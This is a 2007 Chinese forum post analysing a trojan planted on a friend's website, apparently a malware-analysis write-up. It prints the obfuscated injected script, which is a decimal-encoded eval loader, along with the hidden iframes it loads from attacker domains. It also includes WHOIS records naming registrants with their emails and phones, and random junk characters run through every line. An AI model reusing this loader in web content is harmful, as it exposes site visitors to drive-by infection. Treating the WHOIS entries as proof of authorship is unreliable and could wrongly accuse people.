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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ;&Q8xC2  
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http://www.areway.cn/?p=175 \Gh]$s p  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: t{\FV@R  
          ~VZ)LQ'7  
<script>t=’60,105,102,114,97,109,101, p$XL|1G*?H  
32,115,114,99,61,104,116,116,112,58,47,47,  7(;M  
102,114,101,101,46,117,45,117,117,117,46,99, _L mDF8Q(  
110,47,101,114,114,111,114,46,104,116,109, X6jW mo8]  
32,119,105,100,116,104,61,49,48,48,32,104, .]+oE$,!  
101,105,103,104,116,61,48,62,60,47,105,102, Y%v?ROql  
114,97,109,101,62′;  `)`J  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> d`D<PT(\  
                                                                                                  q<L>r?T[  
<script>t=’60,105,102,114,97,109,101,32,115, Ht UFl  
114,99,61,104,116,116,112,58,47,47,102,114, };[~>Mzl  
101,101,46,117,45,117,117,117,46,99,110,47, | I_,;c  
101,114,114,111,114,46,104,116,109,32,119, <KF|QE  
105,100,116,104,61,49,48,48,32,104,101,105, (|_1ku3!  
103,104,116,61,48,62,60,47,105,102,114,97, #?)g?u%g=  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); SomA`y+ERn  
document.write(t);</script> F V8K_xj  
                                                                                                  M),i4a?2  
<html xmlns=” wu5]S)?*  
http://www.w3.org/1999/xhtml Pa%;[hbn  
“> &?m|PK)I  
<head> 1$Rua  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> @ !0@f'}e  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> fcd\{1#u  
<title>首页 - 爱生活家庭网 eRkvNI  
                                                                                                                                                    fD3}s#M*G  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Zgt:ZO  
转换字符串后的大概内容是(谁点击后果自付): 9(>]6|XS  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… kB-%T66\  
                                                                                                                                  +H5= zf2  
查询玉米u-uuu.cn的详细信息: ?\MvAG7Y  
Domain Name: u-uuu.cn xc.(-g[  
ROID: 20070901s10001s64972306-cn V @A+d[  
Domain Status: ok \2(Uqf#_  
Registrant Organization: 王雷 `9a %vN  
Registrant Name: 王雷 Fp>iwdjFg  
Administrative Email: czlovexs@126.com h }&WBN  
Sponsoring Registrar: 北京万网志成科技有限公司 T8& kxp  
Name Server:ns.yovole.com $Hcp.J[O  
Name Server:ns1.yovole.com 8W$uw~|dw  
Registration Date: 2007-09-01 17:54 ezRhSN?  
Expiration Date: 2008-09-01 17:54  -1Acprr  
最后PING了一下地址 都没有什么…. 3n;UXYJ%  
                                                                                                hj@< wU  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. gs)wQgJ[  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> !|hxr#q=4  
<script language=”javascript” src=” t\ J5np  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script QiB ^U^f  
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这个玉米应该有可能是木马作者的: 6 /^$SWd2  
foafau.info的详细信息: iaAVGgA9+  
Access to INFO WHOIS information is provided to assist persons in gUf-1#g4\`  
determining the contents of a domain name registration record in the ^vXMX^*  
Afilias registry database. The data in this record is provided by }gQ FWT  
Afilias Limited for informational purposes only, and Afilias does not Xx_ v>Jn!  
guarantee its accuracy.  This service is intended only for query-based Y! e  
access. You agree that you will use this data only for lawful purposes 0|<ER3xkx  
and that, under no circumstances will you use this data to: (a) allow, Kh<xQ:eMy  
enable, or otherwise support the transmission by e-mail, telephone, or 4 G`7]<  
facsimile of mass unsolicited, commercial advertising or solicitations uMl.}t2uYu  
to entities other than the data recipient’s own existing customers; or  gBQK  
(b) enable high volume, automated, electronic processes that send =e'b*KTL,  
queries or data to the systems of Registry Operator, a Registrar, or =h,6/cs  
Afilias except as reasonably necessary to register domain names or 5$o]D  
modify existing registrations. All rights reserved. Afilias reserves >S4klW=*I  
the right to modify these terms at any time. By submitting this query, %a%x`S3  
you agree to abide by this policy. N S*e<9  
Domain ID:D22418703-LRMS iM;7V*u  
Domain Name:FOAFAU.INFO ?I{pv4G:  
Created On:20-Nov-2007 16:05:42 UTC Fm(~Vt;%u  
Last Updated On:20-Nov-2007 16:05:44 UTC nQ4s  
Expiration Date:20-Nov-2008 16:05:42 UTC 9 p6QNDp  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) r|t ;#  
Status:CLIENT DELETE PROHIBITED t2Dx$vT*&  
Status:CLIENT RENEW PROHIBITED jE!<]   
Status:CLIENT TRANSFER PROHIBITED B. Rc s  
Status:CLIENT UPDATE PROHIBITED p!^.;c  
Status:TRANSFER PROHIBITED 2 2K:[K  
Registrant ID:GODA-040110615  DJ?kQ  
Registrant Name:liu hong 8s6~l.v  
Registrant Organization: r8\"'4B1  
Registrant Street1:beijing `9QvokD  
Registrant Street2: ad^7t<a}<  
Registrant Street3: \a]JH\T)Q  
Registrant City:beijing bl. y4  
Registrant State/Province: eekp&H$'s  
Registrant Postal Code:100000 .a._WZF  
Registrant Country:CN '`g#Zo  
Registrant Phone:+86.860108888777 ,L ;ueAo  
Registrant Phone Ext.: 'V";"Ei  
Registrant FAX: j)IXe 0dMC  
Registrant FAX Ext.: :A%|'HxH3  
Registrant Email:bbbshiji@163.com Sc Uh -y_  
Admin ID:GODA-240110615 iHy=92/Ww  
Admin Name:liu hong rblEyCR  
Admin Organization: &6%%_Lw$  
Admin Street1:beijing =fmM=@!$<  
Admin Street2: =C{)i@ +  
Admin Street3: MONfA;64/  
Admin City:beijing b X.S`  
Admin State/Province: My'u('Q%  
Admin Postal Code:100000 ?c7 12a ?  
Admin Country:CN PM3kI\:)m  
Admin Phone:+86.860108888777 jbx@ty  
Admin Phone Ext.: \sB a  
Admin FAX: *:r@-=M3=  
Admin FAX Ext.: ;WX)g&19x  
Admin Email:bbbshiji@163.com L{fKZ  
Billing ID:GODA-340110615 r )8[LN-  
Billing Name:liu hong `I+G7K K  
Billing Organization: vt0XCUnK  
Billing Street1:beijing {KJ!rT  
Billing Street2: 6 R}]RuFQ  
Billing Street3: JSXudz5 c  
Billing City:beijing ,f0|eu>  
Billing State/Province: j'Ry.8}  
Billing Postal Code:100000 g.yr) LHt0  
Billing Country:CN K3jKOV8   
Billing Phone:+86.860108888777 ] h3~>8<  
Billing Phone Ext.: ,$irJz F  
Billing FAX: rlSar$  
Billing FAX Ext.: TJS/O~=  
Billing Email:bbbshiji@163.com Zt: .+.dV  
Tech ID:GODA-140110615 lUWX[,  
Tech Name:liu hong le%&r  
Tech Organization: r7w1~z  
Tech Street1:beijing n}?XFx!%  
Tech Street2: ~"eos~AuW  
Tech Street3: ZMO7 o 1"  
Tech City:beijing  qW8sJ=  
Tech State/Province: A:$Qt%c  
Tech Postal Code:100000 [@"~'fu0  
Tech Country:CN L{y%\:]  
Tech Phone:+86.860108888777 hwkm'$}  
Tech Phone Ext.: nNNs3h(Ss  
Tech FAX: MY>mP  
Tech FAX Ext.: o HqBNTyH  
Tech Email:bbbshiji@163.com EA.4 m3  
Name Server:NS27.DOMAINCONTROL.COM LE^kN<qMK  
Name Server:NS28.DOMAINCONTROL.COM (V2~txMh  
Name Server: 9 ?"]dEM  
Name Server: +3]1AJa  
Name Server: eZes) &4  
Name Server: m$^Wyk}  
Name Server: ?wzE+p-  
Name Server: ~,[<R  
Name Server: ``*iK  
Name Server: S<do.{|p[  
Name Server: 1<y(8C6  
Name Server: z~b5K\/1B  
Name Server: ^IgxzGD  
                                                                                                          A1Tk6i<F1  
接着下载每个文件里面的代码: eUP.:(E  
一步一步看.. nrqr p  
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VJW%y)_[  
1?:/8l%V  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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